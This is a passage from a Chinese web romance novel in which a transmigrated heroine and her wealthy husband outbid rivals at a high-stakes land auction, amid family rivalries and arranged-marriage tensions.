服务员带着合同在包厢里等待签名成交,林知妤喊拍时眼睛眨都不眨,上家一喊她就跟着加。
现在看着眼前这一串光用眼睛数都头晕的零,她就两眼一黑。
她愤愤质疑,指尖在他签字的手背上戳了戳:“你怎么不阻止我一下?”
沈砚礼掀起眼帘,答的漫不经心:“照你这么挥霍的程度,我的资产够你玩十辈子。”
林知妤:“……”
服务生:“……”
他反握住她作乱的手指,将字据签完,“喜欢就拍,你这么玩还花不掉我一个零的,不用有负担。”
林知妤要他肯定,“你说的噢?”
“嗯,我说的。”沈砚礼极淡地轻笑了声。
林知妤不是见好就收的好宝宝,在得寸进尺这方面她得心应手。
包厢内女声断断续续。
“跟。”
“再跟。”
“加!”
带着喜悦的女声响起,“这个好漂亮啊,我喜欢诶。”
宠溺纵容的男声紧跟其后,“那就拍下来。”
进入包厢等待签字的服务生排成一长排,挥霍无度的这一场面难得一见,对于这间包厢主人的议论声越来越多。
“这不是疯了吗?拍这么多明天不过了?里面是哪一位?”
“又是一位重金讨美人一笑的兄台,败家啊败家。”
“陈公子,你学学人家,那个金丽鸽钻戒拍下来送我一个嘛。”
“乖宝贝咱们换一个好不好,这个董琦流传下来的花瓶怎么样?”
巴掌声震耳欲聋,“死抠男,1w块钱就想打发我,老娘不干了,你跟你的破花瓶过去吧丑东西。”
楼下的讨论声隔着窗户隐隐传到包厢里,楚诗意撩开纱帘往隔壁看了眼,只能看见黑色服装的举牌人员站在窗口,里屋情景不透半点。
没见到她想看见的,楚诗意虽心有牵动却不打算追根到底,她才放下纱帘,身后就传来松懒的男声。
“楚小姐羡慕?若是想要陆某不介意为楚小姐一搏千金。”
说是一掷千金,拍的却是些不起眼的小玩意,也不见得有多上心。
不过女孩都喜欢这些高调示爱的手段,楚诗意若是喜欢他也未尝不可。
楚诗意嗤笑了声:“陆公子有心了,不过这些小女生才会喜欢的方式,陆公子还是留着回去哄你夫人吧。”
“不知道她听到今晚发生的这些事会作何感想?愤怒争吵还是冷暴力?又或者是直接离婚?”
她坐回沙发上,看他的眼中带着看笑话的乐意。
楚诗意不同与季羡林的乖顺,她看陆煜宸的眼中带着居高临下地不屑。
楚诗意瞧不起他。
这一点,两人都心知肚明。<
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p>她不服家里对她的联姻安排,因此将气都撒在他身上,试图逼迫他知难而退。
陆煜宸眼底毫无波澜,“这不正合令尊的意?我一日不和季家解除关系,你们就得多等一日。”
特地选了这么一个人多眼杂的场所,要他们在众目睽睽之下相伴走进,一来是为了昭告天下,二是逼迫他与季家断绝关系。
楚诗意付之一笑,“陆煜宸,做人不要太贪心,小心最后落得一场空。”
“不劳楚小姐记挂,陆某定不负所望。”
不枉费等了许久,众目所归的凌洋在拍卖师的介绍下登场,长达20分钟的视频介绍将现场紧张的氛围拉到极致。
“等了这么久终于端上来了。”
“这块地要是拿下了,身价翻的可不止十倍,到时候坐在上面的就是我了。”
“十倍?这政策要真下来了,你翻的可不止十倍,老兄眼见还是短浅了。”
“异想天开罢了,有上面包厢的那几位这么好的地能轮的到你吗?”
“这你懂什么,没准他们意不在此呢,我想想还不行吗?”
楼下议论声沸沸扬扬,楼上虽不见探讨但那半掩着的纱帘都被尽数卷起,足见重视程度。
悉数八间包厢的举牌人员都站了出来,目标都是那大屏幕上还在滚动播放介绍的土地。
林知妤蹲在沙发和茶几中间的缝隙,她捏着刚才拍下来的红钻在手心打量,抬眸正欲开口。
就见男人气定神闲地正在把玩着手里的圆形杯,净白的指尖捏着圆杯上口缓慢的打转,修长的双腿自然交叠。
剪裁合体的西装衬的他此刻高贵清冷,红钻的光影在遇上他后都变得黯淡。
林知妤一时间眸光恍惚。
他就该一直这么矜贵从容,梦里的破碎落寞与此时此刻的他毫不沾边。
男人似有察觉,他眼睫低垂回应她含情的视线。
他轻语:“怎么了?”
林知妤敛了敛眼底浓溢而出悲观,她重新开口:“我们是不是该做做样子?”
沈砚礼面上含笑:“你还想拍吗?”
“当然。”林知妤不假思索。
他眼底闪过一丝宠溺的笑痕,随后将手中的酒杯放下,低低地说:“好,你拍。”
“我没把握住一下真给拍回来了怎么办?”见他答应,林知妤反倒不自信了。
沈砚礼无所谓,他嗓音中蕴含着笑意,“那就拍回来。”
灯光在拍卖师身上聚焦,她高提的嗓门在彼伏的讨论声中也并未被掩埋。
“先生们女士们,第三十七号拍品——凌洋地皮现在开始竞拍,本次采用增价拍卖,实行价高者得原则,未达保留价的拍品不成交,起拍价500w,请各位举牌。”
“800w”
“850w”
“1000w”
“1800w”
……
场所内举牌人员字正腔圆的报价声连绵不断。
楚诗意随意抬了抬手,清冷饱含质感的女声在包间内响起,“5000w。”
露台上的工作人员紧跟着向下报价。
不远不近地喊价声随后响起:“一个亿。”
24.第 24 章
少女面色红润,乌发随意的别在耳后露出耳廓,冷白色的灯光迎面映在她抬起的眼中,眸光带色似那姣姣明月,远不可侵。
她眼尾微微上扬,闪着微光的眸底映照着他的倒影。
林知妤张口就喊出了这轮拍品的最高价,她回过头观察他眼底里,是否留有因她喊出高价而生出的不悦。
沈砚礼此刻正定定的看着她,两道视线在空中交汇,深邃的眼眸将她清透的目光灼烧。
他嘴角浮起一抹笑意,伸伸手揽着她的细腰将她捞起,待她稳坐沙发后,这才不紧不慢地给她下了定心丸,“喊的好。”
言语里并没有对自己钱财流失的怜惜之情。
听到沈砚礼这声肯定的回答,林知妤连连对他表示赞赏。
不愧是大佬,够格!
沈砚礼此刻在她心里的形象更高大了。
之后的喊价她将不再有负担,一定给大佬充够面子的。
毕竟花的不是自己的钱,她喊完难免有些心虚,不过竟然主人家没放在心上,她也不再故作矜持。
林知妤指尖在沈砚礼看不见的地方敲了敲沙发,薄唇勾起弧度,脸上笑面盈盈,心思不带半点遮掩。
一楼的人群还没消化完5000w的高价,这一声1个亿紧跟其后瞬间引起了轩然大波。
这块地给出的保底估值是80亿,一个亿只是将这场拍卖引到了高潮,许多准备资金不足的逐渐退出争场。
楚诗意一向对跟自己唱反调的人抱有好奇心,在窗前没见到人影,她招招手唤来助理,“去查一下,隔壁是谁。”
城南拍卖园对包厢来宾身份保护的密不透风,听到这声吩咐的服务员好意提醒:“小姐,我们规定不允许随意打听包间来宾的信息,请您对助理收回命令。”
楚诗意掀了掀眼皮,对他的劝告隐隐表示不悦,想到爸爸对她的叮嘱。
未免多生事端,她将不满的情绪忍下,没再对他多加发作。
场外叫价还在继续,加价的幅度越来越大,最后零零散散只剩几人。
“230亿。”平台包座上还留有唯一一位坚持和包厢贵宾叫价的男人,他咬咬牙将最后的底线报出去。
举牌员的手还没来得及放下,楚诗意所在的五号包厢再次喊价,“350亿”
这声喊价使一楼的视线纷纷朝上聚集,人群中吵吵嚷嚷,顿时炸开了锅。
“疯了吗?350,有钱也不能这么花吧。”
“这都超估值多少倍了,若是政策下不来那得赔多少啊。”
“就算下不来,这块地离市中心这么近,随便弄点楼盘那不是轻轻松松回本?”
“但是这钱也不是这么烧的吧,350能拿下多少项目了。”
“投这么多真的能回本吗?楼上到底是哪位?”
包座男人在身旁人的劝解下不甘心的放下了想要再次开口的心。
为了这块地,他就只备了300亿,若是再给他点时间凑凑也还能再往上加。
但他的实力和人脉就摆在那,就算拍下来以他一个人的能力也没办法赚回这些钱,反倒得将土地分出去,承担亏钱的风险。
包厢内,楚诗意一脸意外的看向陆煜宸。
她找人调查过陆煜宸这个男人,他一向以稳保为主,绝不轻易将手伸向没把握的事情上。
他刚回沈家,一没根基二没资金,做事理当稳妥,既然没想对凌洋下手,留着资金保全鸿洲就好。
竞价接近尾声,一个不注意这350亿可就要真真实实付出去了,她睨眼瞧着陆煜宸,不知道他在打什么主意。
陆煜宸能感受到楚诗意投来疑惑的目光,他缓缓将酒杯放下,冰块撞击杯壁发出叮当轻响,他默不作声地看着杯中掀起的波澜逐渐恢复平静。
隔壁包间的喊价风范有着另他熟悉的感觉,这视金如土的作风像极了沈砚礼,他不免想到天恒山庄那晚受到的耻辱。
他因此失了王家这一庞大助力,想到这,陆煜宸眸色黑沉近墨,染上了阴戾的色彩。
果不其然,隔壁包间的喊价声随之响起。
“400亿”
不多不少,正好多他50。
这声喊价像是证实了他心中的猜想一般,他拇指摩挲着食指指腹,眼底晦暗似乌云滚滚,笑得意味不明。
拍价持续递增,越到后面竞价的幅度越小,参与的人越少。
最后只剩两家还在交互,四号包厢似有不达目的不罢休的意思,八号已有放弃之意。
拍卖师见不再有人竞拍,目光巡视了一圈全场后,开始走最后的流程。
“四号包厢来宾出价680亿,还有没有人出价更高?”
“680亿一次。”她顿了顿,“680亿两次,八号包厢还要竞拍吗?”
场内寂静无比,在这最后关头,所有人的注意力高度集中,气氛无比紧张压抑。
沈砚礼即使阅历丰富,在此刻也不免偏头看向身旁的少女,她双手撑着沙发闲散的晃着腿,对她喊下的高价无半分悔意。
她平静的面容里有着胜券在握的从容。
感受到他的目光,林知妤抬起头来直勾勾地看着他,若有所思片刻后开口。
细软的嗓音在他耳畔响起,话音里带着对他的考验,“你会为我买单吗?”
这番话大胆的出乎意外,屋内众人一瞬间因她屏住了呼吸。
在这里上了这么多年的班,见过无数大大小小的场面,和今天相比的都不值得一谈。
按这情形,以往还不到这个时候胡乱喊价的女人已经被巴掌伺候了,这位不但好好地坐到了最后,甚至还一副置身事外的模样将烂摊子悉数丢给男人。
沈砚礼眼底不见怒意,他未觉惊诧,甚至眉目中笑痕不减,这猝不及防的一句,他回答的不假思索:“当然。”
屋内倒吸声突起,他们等待了半响男人的反应,没想到是这种结果,看向林知妤的目光从震惊转变为了羡慕。
林知妤定定的看着他,像是在考究他这番话的真假。
男人丝毫不躲闪,任由她刨开自己的心,血淋淋的将诚意展露在她眼下。
“700亿。”
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隔壁急促的喊价声打断了两人间讲不清道不明的气氛,一时间她眉峰高翘,带着打了胜仗的喜悦。
听到了意料之中的喊价,林知妤尾音上扬,“看来不用了,有人替我们买单了。”
她明媚的笑颜在他面前久展不歇,嗓音似蜜糖般在他心中化开,将空隙严丝合缝的填满。
直至落槌成交,四号包厢都不再见一点声响,凌洋这块地以700亿的价格最后归五号包厢买家所有。
直到工作人员拿着合同进来,陆煜宸都还在走神中,在来人的提醒下他才悠悠回神,眼底满是自己对能拍下这块地的不可思议。
为什么?不是沈砚礼吗?
他为什么不继续叫了?
信息透露出去了?还是……楚家在搞鬼?
他回过神看向楚诗意,女人坐在沙发上对他挑眉,眼底的幸灾乐祸溢出于表。
她举起手中的酒杯虚虚敬了他一杯。
她觉得爸爸错了。
陆煜宸不过是个只会意气行事的毛头小子罢了,甚至都比不上少参商事的自己。
这样的男人,凭什么让她付出后半辈子的幸福。
见他还在愣神,她‘好意’为等待良久的工作人员提醒陆煜宸,“陆公子,还不签字吗?”
“难道是有什么为难之处?要不说与我们听听,没准能帮你解决。”
她伪善的神情就在眼前,他掩在茶几下的掌心紧了又紧。
拍卖行的工作人员识人无数,陆煜宸这副拖延不下笔的模样让来人警铃大作,他将手伸向对讲机准备喊人。
没等他开口,陆煜宸强咽下这口怒气,拿起笔在合同末尾一气呵成签下姓名,随后往桌上随意一扔,任由它向地面滚落。
只要名签了就好,工作人员又恢复了一副尊敬有礼的模样,他未发一言将笔拾起悄然退出房间。
陆煜宸大步走向台前向隔壁望去,包厢的纱帘已经被放下,里屋的景色不透半点。
他想证实的事情得不到结果。
因他的出现,一楼中眼尖的人率先发现了他的身影。
“五号买家是他啊,这小陆总还真是深不可测,就这么一块地700亿啊,这么舍得?”
“看来还是不能小瞧人家咯,这位也不似你们口中传的这么一无是处啊。”
“说不准是不是他呢,楚小姐不是也在吗?没准是楚家拍的。”
“以他们现在的关系,楚家还是沈家有计较的必要吗?反正都在陆煜宸手里。”
“一块地能拍到700亿的天价,别的不说这烧金程度实是无人能及。”
“要是老宅那位知道了,说不准是什么看法呢?这块地再翻了天也翻不到700亿去,你可瞧着吧保准亏个大的。”
楼下零零散散的声响并没有打搅到包厢内少女活跃的神情。
“怎么样?我厉害吧?”她在向他邀功。
沈砚礼在她身旁淡淡地笑,林知妤在他面前一向不稍加掩饰自己的情绪。
他低沉好听的嗓音毫不吝啬地给予她奖赏:“嗯,厉害,知知好棒。”
25.第 25 章
林知妤不由深吸了一口气,她沉吟了几秒:“沈砚礼,你这样真的很像一个昏君。”
“陆煜宸怕是要恨死我们了,我怎么感觉他的杀气已经蔓延到我们这了呢?”
抽筋扒皮,大卸八块然后是碎尸万段!!
想到这,她连连打了两个寒颤,不免觉得后背发凉频繁向后看去。
沈砚礼反倒一副气定神闲的模样,看向她淡淡开口:“不是我们。”
只有你。
林知妤一脸不可置信地转回头。
这对吗?过河拆桥?
她苦口婆心,“沈砚礼,好歹在法律上我还是你老婆,你未免太薄情了些吧。”
沈砚礼被她逗笑:“商场上这叫明哲保身。”
林知妤:“……”
也没见你给他使绊子的时候这么想。
林知妤调整姿势跪坐在沙发上,她叉着腰的模样趾高气昂,“你想得美,不保护好我,我就把你的事都抖搂出去。”
沈砚礼:“都?”
林知妤:“对,都!”
沈砚礼忍不住轻笑出声,他手撑在沙发上压低身子靠她更近了些,“知知是想两败俱伤?”
她在他胸前挥了个左勾拳,“这叫同归于尽。”
谁都别想活。
沈砚礼的哀怨在脸上流露,他唇角噙着笑逗她:“那看来要好好保护沈夫人了。”
纤白的细掌在他的肩膀上郑重地拍了拍,林知妤说得语重心长:“夫妻之前嘛,那就辛苦沈先生了。”
沈砚礼:“辛苦不敢当,是我该做的。”
今日这场拍卖会分上下两场,上场以凌洋做压轴结尾,休场半个小时再重新开始。
包厢内的服务人员都留下待命,自然将这一幕尽收眼底,看向林知妤的目光里皆带着敬佩之意。
这驭夫之术够她们学大半辈子了。
沈砚礼眼睫低垂,一瞬不瞬地落在她搭着肩膀的细指上。
林知妤顺着他的目光看去,以为沈砚礼不情愿她的接触,她抿抿唇弯着眉不好意思地笑了笑,随后缓缓将手拿下。
沈砚礼在半空将她握住,他捏着柔软的指腹询问,“知知,牵手好不好?”
林知妤瞪大了眼,错愣地看着他。
他在问什么?
沈砚礼神色坦然的模样仿佛刚才那句话不是从他口中说出。
林知妤眨了眨眼,半响才‘啊’了声,脸上震惊不减。
沈砚礼环视了屋内一圈,在她耳廓低低诱骗:“知知,我们这样哪像新婚夫妇?传到老爷子耳边——”
他顿了顿一副像是在为她考虑的模样,“他要怀疑我们了。
因他的主动靠近,两人间的距离才缩至无空,沈砚礼长臂托着头斜靠着身体看着她,林知妤不知不觉已经被他高挺的身形包裹在他的领地。
手指被温意围堵,林知妤的目光撞进一片汪洋大海,汹涌的海水将她卷进无边的海域。
修长均匀的指骨蹭着她,林知妤的小指不受控制地颤了颤。
“好不好?”他压低了嗓音勾着她回神。
林知妤错愣地看着他,又迅速埋下头给出了回应:“随便你。”
泛红的耳根将她的心思昭告天下,随后又掩耳盗铃般用头发遮挡。
沈砚礼眼底闪过一抹笑痕,他慢条斯理地摩挲着手中细指,将她的反应尽收眼底。
长裙不知何时已经挂上男人长裤,雪白的裙摆将黑色西装掩埋,透亮的材质难掩深黑色彩,下摆隐隐印出一抹不属于她的痕迹。
下半场在纷闹中开始,除了凌洋这块地,饱受关注的就是这下半场的压轴拍品——顾章程老先生独留于世的孤品《锦湖南》。
这幅画作不论是在文化或是历史传承上都有着不可替代的收藏价值。
现场还留下的买家中多数都是为此留下。
陆煜宸被告知拍卖开始时,他人还在打电话。
“把我名下的地都转出去还能拿出来多少?”急促的男声在回廊里响起。
陆煜宸拧着眉不耐地等待对方的回答。
“先生,180。”那头行动迅速,没一会就给来了回答。
陆煜宸明显不满意,“把股份都抛了。”
“先生,请您三思,您手里的股份留存越久价值越高,现在不是抛售的最好时机。”
脑海中满是被戏耍的愤怒,他现在听不进去一点劝阻,这声违令像是给他找到了发泄的突破口。
“你是老板还是我是老板?我花钱雇你不是让你来违抗我命令的,让你做什么就做,不想干就走,公司不需要你这种人。”
“抱歉老板,我马上为你抛售,200亿的成交价您看满意吗?”
“马上打到我账号上,还有凌洋这块地现在立刻马上卖了,亏本都要卖,马上!”他说的急切,不等答复,便已经将电话挂断。
陆煜宸捏着手机的指节用力到泛白,他目光投到远处,眼底留存着不甘。
那间包厢的主人绝对是沈砚礼。
他自以为最懂他,若是他想要的不管用什么手段都会拿到。
那凌洋呢?为什么中途报停。
这中间一定出了什么问题。
楚家那个女人也是他们计划的一环吗?
想到这,他脸色阴沉的厉害,眼眸森然,带着随时就要爆发的怒气。
再打开手机,与季羡林的聊天页面至今天早上之后就不再有信息,以她的性子就算生病了也不会放过对他的监视。
距他们来到这里已经过了足足两个小时,拍卖开始前和楚家闹了这么大一出,他不信季羡林还收不到一点消息。
到现在也不见来电,他思来想去给她打了个电话过去。
铃声响了半天也不见有人接起,他隐隐有些因事情失去控制了的不安。
若是他没拍下凌洋还好,现在为了鸿洲已经孤注一掷了,不能再失去季家。
只要季家还能帮他一日,他的困境就能快一日解决。
工作人员来往多次提醒后,他不再执着于此。
有什么事回家再说。
季羡林一向对他说的话坚信不疑,不会有事的。
推开包厢门
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时,楚诗意也刚刚放下手机,今日这场好戏怎么能不和家里人知会一声呢。
现在要不要和他合作,是她们家说了算了。
一个身无分文的贵公子就算有吉林这个大项目又怎么样,左右都翻不了天去。
她静静注视着陆煜宸走进,仔细去瞧他那装作行若无事的面容,“怎么样陆公子?钱凑出来了吗?”
陆煜宸从容地坐回他刚才的位置上,“不劳楚小姐记挂,我还不至于到买了一块地就要倾家荡产的程度。”
楚诗意一副了然于心的模样点了点头,“这样啊,是我关心则乱了,我就说嘛堂堂沈家公子怎么会因为一块地就倾尽资产呢?”
“是我的问题,我还特意说与爸爸听,想着帮你问问能不能借你点周转,陆公子要是有意大可说与我听,我传递你的意思给爸爸。” “我想他也会理解你的,是吧。”
陆煜宸面上无一丝动容,“谢过楚小姐的好意了,不过应该是用不上了。”
楚诗意步步紧逼:“既然这样的话,鸿洲这块地我们就不合资了吧?各拍各的怎么样?”
“当然,楚小姐随意就好。”他抬了抬手示意工作人员将纱帘拉开。
两名举牌人员领了命分别于左右站立,一个代表陆煜宸,一个代表楚家。
楚诗意早上带着父亲的意思和他谈的就是用一半的吉林换政策信息,并用一半的鸿洲做立约条件。
如今他光有项目没有启动资金,给他再多的地也做不起来,那还不如全让他们楚家拿着好了。
大家各凭本事,看看鹿死谁手。
楚诗意这一变脸,陆煜宸就明白了他们楚家的意思,这是要逼他交出吉林?
他不免冷笑了声,若隔壁真是沈砚礼,这块地还说不准会被谁拍走呢。
由着他们斗,他只管坐等收成就好。
这边林知妤同样也是绞尽脑汁,不同与上一场的悠然自得,她看着桌上的白纸难得泛起了困惑。
楚家是一变数,原书中这一段并没有楚诗意的戏份,按照正常走向,楚家要等季家彻底倒台后才会登场。
也许是因为她制造的微小变化产生了蝴蝶效应,将所有事情提前了。
她看着面前涂涂画画了半天的白纸犯愁,写了这么久她也是迎来了难以下笔的一天。
林知妤叹了口气,抬起头来看着一旁还在若无其事的沈砚礼。
不知何时他手里已经缠着她的发丝玩了很久,细发一圈一圈的在他手里打转,柔顺的乌发缠绕在他修长的食指上,林知妤看得一愣一愣,莫名有种拖佛子入尘的羞愧感。
偏他还不自知,碎发勾得他入神,连林知妤的异样他都未察觉。
直到手里的发丝被一点点抽走,他才缓过神看向眼前人,他深浓的黑瞳从被打搅的不耐化为情愫缱绻,又在眸中快速隐藏。
林知妤将他手里的细发抽出后将其挽到一边,她低着头整理未察觉他眼中的翻云变化。
沈砚礼为他一瞬间的失态低叹了声,他看着林知妤眼中情绪复杂。
知知,我该拿你怎样才好。
26.第 26 章
“发什么呆呢?”林知妤的手在沈砚礼眼下挥了挥。
“怎么了?”他捏了捏眉心,将心底突涌的情绪压下。
见他回神,林知妤把白纸递给他,上面详细记录了各个包厢的最高应价金额,独独在楚家那留有余白。
林知妤:“你觉得楚家怎么样?厉害吗?你带的钱够不够啊?”
沈砚礼也没有想到她会问这个问题,至今为止他还从没遇到过没带够钱的时候。
就算有,那就让对方掏不出钱不就好了?
他对她的问题感到没辙,他笑得有些无奈,“知知,你就算真的以680亿把凌洋拍下来了,我也有钱再给你拍个鸿洲下来。”
林知妤眨了眨眼,努力消化这段话的含金量。
这就是资本家的财力吗?好有钱,好想要。
分我一点行不行。
“至于楚家,你要是害怕,让他们淘不出钱就好了。”他说的漫不经心,仿佛没什么难度的样子。
“……”
林知妤欲言又止。
不是大佬,你这么一副无人能敌的样子,后面下场为什么还这么惨?
难不成是强行降智?
看来是被作者做局了。
她了如指掌般的点了点头,为大佬感到惋惜。
沈砚礼惊诧于她的反应,揉了揉她的头,笑着问道:“怎么了?”
他说的是不是太夸张了点,这么不可信吗?
“楚家不是不在临江市吗?你也能给他们使绊子?”林知妤疑惑。
“王憬烜。”他轻描淡写。
林知妤恍然大悟。
啊,关系网啊。
果然人脉的重要性在这里体现了。
望城王家是龙首的话,楚家也只能混个鸡首做做,算不上什么有力的竞争对手。
但架不住他们家关系硬,一般人动不得,即使势力渊博的家族面对他们也得恭恭敬敬的问礼。
林知妤听明白了,怪不得这么嚣张的要人休妻另娶呢,原来是上头有人啊。
也就只能在小说里见到了,这要是在新中国那不是分分钟被抓。
不会手里不干净吧?怎么有种缉毒片的既视感……
林知妤轻摇了摇头将不干净的想法甩出去,“那她为什么非要嫁给陆煜宸?听你说他们之间并没有感情啊。”
“也是因为联姻吗?可是陆煜宸有什么东西值得楚家这么做,他还不如你呢,怎么不想方设法嫁给你。”
“知知……”沈砚礼几番欲言又止。
她一副人畜无害的模样,沈砚礼想斥责的话都说不出口。
这小姑娘怎么总想着把自己的丈夫送出去。
林知妤偏偏还没意识到,见沈砚礼不回答,她又继续追问:“怎么不说话?我说的不对吗?是不是因为那个什么吉林啊?”
她只知道这本小说是以吉林这个大项目为一条线进行推进,所有的人和发生的事都和这个项目脱不开关系。
但并没有人剧透这个项目到底是什么,面对这个,林知妤也是一头雾水的状态。
她想了想又要发问,还没来得及张口,沈砚礼率先开口制止了她的喋喋不休。
“知知,他是他,我是我,对感情不忠的事我做不到。”
他的答非所问,令林知妤有些摸不着头脑。
她思来想去努力跟上他的节奏思路,“噢,你说陆煜宸啊,他确实挺渣的,还没离婚呢就先搭上另一个了。”
“不过也有一种可能,他是主角你是反派,所以女孩们都喜欢陆煜宸,不喜欢你。”林知妤说完肯定的点了点头,赞同自己的这一想法。
林知妤按下沈砚礼欲举起的手将他要开口的心也按下了,她紧接着说,不给沈砚礼回话的时间,“你还没说呢?吉林到底是什么啊?你们怎么这么多人抢着要它?”
沈砚礼瞧着那一双细嫩的掌心将他支在腿上的单手压的严丝合缝,他看的久了不自觉轻笑出声,“知知,你给我点说话的机会呀。”
林知妤顺着他的目光看去,“啊哦。”她尴尬一笑缓缓将手移开,“你说你说。”
“‘吉林’是临江市首个省级文化商业综合体建设项目,定位为“国家商业片区长明灯”,项目内容包含餐饮,艺术,购物,游玩等多个领域,饱受各界关注。”
“若是办好了,将会是临江市及全国的一大热门商业片区,身价必定翻倍上涨,所以争的人很多。”
沈砚礼徐徐道之,将情况给她一一道来。
林知妤听他说完马上就懂了,“噢这个我知道,我家嘛。”
商业区,什么大悦城,万象城,乐天城。
她到现在都还能背出里面店铺的名字,简直了如指掌。
没有人比她更懂这些了。
沈砚礼有些意外:“你家?”
他还未真正了解过她的家世。
他对她一无所知。
林知妤点了点头,她爸就乐意折腾这些商城,哪都要盖点,她们家那片区总共十三家商城有七家都是她爸名下的。
刚穿过来的几天前,她爸还琢磨着扔她进其中一家让她磨练磨练。
还以为穿来这里能摆脱这个命运呢,没想到又撞到墙上来了。
林知妤“啊”的一声歪倒在沙发背上。
这是追着她杀呀。
她脸上满是对这命运安排的郁闷,沈砚礼看她面目神似沧桑的模样,唇角小幅度的勾了勾。
林知妤往后靠的姿势,头正好压到了他伸长的臂膀,沈砚礼满脸宠溺,他弯着手腕在她头上揉了揉,“不止商城,一整个区域都做商业建设,不过不怕,我没打算争这个项目,我们做好自己手里的事就好了。”
林知妤偏了偏头看向沈砚礼,她停顿了一会,说的有些郁郁寡欢:“结局说他事业爱情双丰收,这个项目他后来应该是做的很好。”
沈砚礼:“他做的好还不开心?至少他没拿来害人。”
“他哪里没害人?”
“沈砚礼,他害死你了,你是他成就事业的垫脚石知不知道,我不想你这样。”她越说越小声,越说越低头,直到像个鸵鸟一样垂着脑袋哑声。
空气中静默了两秒,不见反应林知妤重新抬起头去寻他的目光。
沈砚礼在直勾勾地盯着她,盯着她那认真忧郁的模样,随即他的唇角有笑意蔓延,似那明明星河,星芒刺眼却又不失柔存。
是她从来没有见过的笑颜。
他眉眼含笑,悠悠道:“不会的,我现在有你了,你这个
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小军师不是说好要保护我吗?” “不保护了吗?”
林知妤义正言辞:“当然不会,有我在不会让你重蹈覆辙的,你要争,说什么都要把这个项目拿回来,断了他所有的念头。”
沈砚礼极其配合:“好的小军师。”
“先生们,女士们,有请我们下一件拍品——鸿洲地皮。”
大屏幕上紧随着介绍这件拍品,因在郊远地区关注它的人极少,现场尽是闲聊之声。
“起拍价80w,请各位举牌。”
“100w。”
“130w。”
“150w。”
……
竞价的幅度不高,人群里只有零零散散的几个人举牌。
在拍卖会开始前,各大企业家都会请专业人士对拍品进行价格评估,这块地少有人看好,拍下来也许能做点‘慈善’买卖,要想做点有价值的东西,这还远远不够。
“200w。”
拍卖师喊到:“五号包厢362号买家举牌200w。”
“这块地皮他们凑什么热闹,拍下来也就只能积灰。”
“大佬的想法你懂什么?人家就算拍下来回家供着账号里也少不了一个零。”
“250w。”
“五号包厢435号买家举牌250w,还有要加的吗?”
“得了,这是小两口吵架了斗气呢。”
“啊哟,那可苦了陈总了,他可就指望着这块地发财呢。”
“这块地能发什么财?不赔点进去都算他好运咯,有大佬帮他承担风险他可劲乐吧。”
“花250w就为了斗个气?这种日子也让我过过行不行?”
包厢内楚诗意悠悠喊到:“300w。”
她静静看着陆煜宸,看他还敢不敢往上加,连500w都淘不出来的话,这也太掉他小陆总的面子了吧。
陆煜宸对她的挑衅轻蔑一笑,“500w。”
楚诗意满意的点了点头,这才配做她的对手,“800w。”
“不是这俩疯了吗?未来都要上一个户口本的,这么斗着以后不隔应吗?”
“这块地80万都保守了,绝对不值这个价,能翻10倍怕不是疯了。”
“唉,这么多钱分我点不好吗?别在这上面意气行事啊。”
“800w拍回去当祖宗供着吗?一个荒无人烟的偏野地方也值这么多钱去拍吗?”
“五号包厢435号买家举牌1000w,362号买家还要加吗?”
“2000w。”
楚诗意不慌不忙的报价,始终压着陆煜宸一头。
陆煜宸紧了紧掌心,若是没出意外,这块地最高他250w就能拍下,和至于要跟她斗到这么高。
他咬咬牙继续喊价,有政策再加上吉林,只要能拍下来就能回本。
“3500w。”
楚诗意看他强忍不甘的模样,兴趣提的极高,她倒想看看,现在他还能拿出多少来和她竞拍。
她挑了挑眉,盯着他逐字逐句:“5000w。”
楚诗意好意劝解:“楚公子?还要往上加吗?有负担的话就算了,不要勉为其难。”
“不劳楚小姐担心,陆某承担的起。”
27.第 27 章
二人间的战火一触即发,越发越不可收拾,包厢内气氛极其压抑,除了两名举牌员的喊价声,旁人不敢再发出任何声响。
‘鸿洲’这块地的前身是片城中村,上这场拍卖乃是作为一个烘托气氛的工具,为后面的拍品做铺垫,谁也不曾想竟会被抬价到以千万为单位的价格。
因他们二人的争夺现场一片混乱,众人纷纷表示不解。
为一块地皮争的头破血流,伤了两家体面,这又是何必呢?
“三千五百万。”435号买家举牌。
包厢内气势不减,价格越喊越高,楚诗意仍然一副不肯罢休的模样,陆煜宸紧了紧拳在她还要开口前开口制止了她,“楚小姐,一定要做到两败俱伤的程度吗?”
楚诗意闻言轻蔑笑了一声,她随意将腿边压皱了的裙摆抚平,满脸不以为然地,“两败俱伤吗?我不觉得,只有陆公子伤吧?”
陆煜宸:“我们没必要因为这块地大打出手不是吗?尽管我拍了凌洋,但鸿洲的合作我们还是可以继续。”
面对讥讽,陆煜宸淡淡揭过,他打定主意要向楚家低头,毕竟现在别无他法。
“继续?陆公子别开玩笑了,这块地可不是个什么好差,粘上了那可是惹了一身骚,想甩都甩不掉。”
陆煜宸微眯了眯双眼,神色不耐烦,“楚小姐不用担心这个问题,我已经派人秘密将地卖出去了,不出一个小时就会有买家收走。”
楚诗意:“看来陆公子对于这方面很有经验啊。”
陆煜宸面不改色,心里却暗暗冷笑,就是因为吃了这么多亏,才能做到现在这般。
要想在沈家夺权若是不做多手准备,他早被生吞了。
陆煜宸作出退步,“楚小姐不妨和楚董事长谈谈情况,我愿意承担这个损失,再降五个百分点。”
“十个。”楚诗意定定看了他半响,这才松口。
这个结果她爸爸早有预料,在刚才那通电话里,他已经将所有会发生的事情转变都与她分说明白,她只需要根据不同情况照做即可。
十个百分点换三千万,不知道该说赚了还是亏了,陆煜宸脸色沉沉,对这一局面又无可奈何。
他眼睛死死盯着连接着隔壁的那堵墙,眼底似翻云覆雨般阴沉。
这间包厢的主人到底是谁?
那名字无时无刻不浮上心头。
沈砚礼,若是你,这件事我们没完。
现场至陆煜宸喊价后再无动静,楚诗意被他劝解下来,这块地只要不再出意外就会依三千五百万的价格被他拍下,之后再与楚家平摊,一人一千五百万就好。
本来二百五十万就能拍下来的东西,足足翻了这么多倍。
陆煜宸脸色不悦,却无处发泄。
只待拍卖师敲槌成交即可,这场闹剧就能就此结束了。
“三千五百万第二次,还有人要竞价吗?”
“三千五百万……”
“四号包厢出价四千万。”
一道字正腔圆的女声从上方传来,这声喊价将现场平息了片刻的气氛重新引至最高潮。
对这块地的议论越来越多,有猜想是关系不和在使绊子的,也有觉得这块地确是块不可多得的好地的。
“啪。”酒杯碰撞在桌面发出剧烈刺耳的摩擦声。
“谁在竞价?”陆煜宸在听见喊价的瞬间勃然变色。
助理答道:“先生,是4号包间。”
他将酒杯连续重砸在桌面,怒意冲上眉梢,“我问的是里面的人,里面的人是谁!”
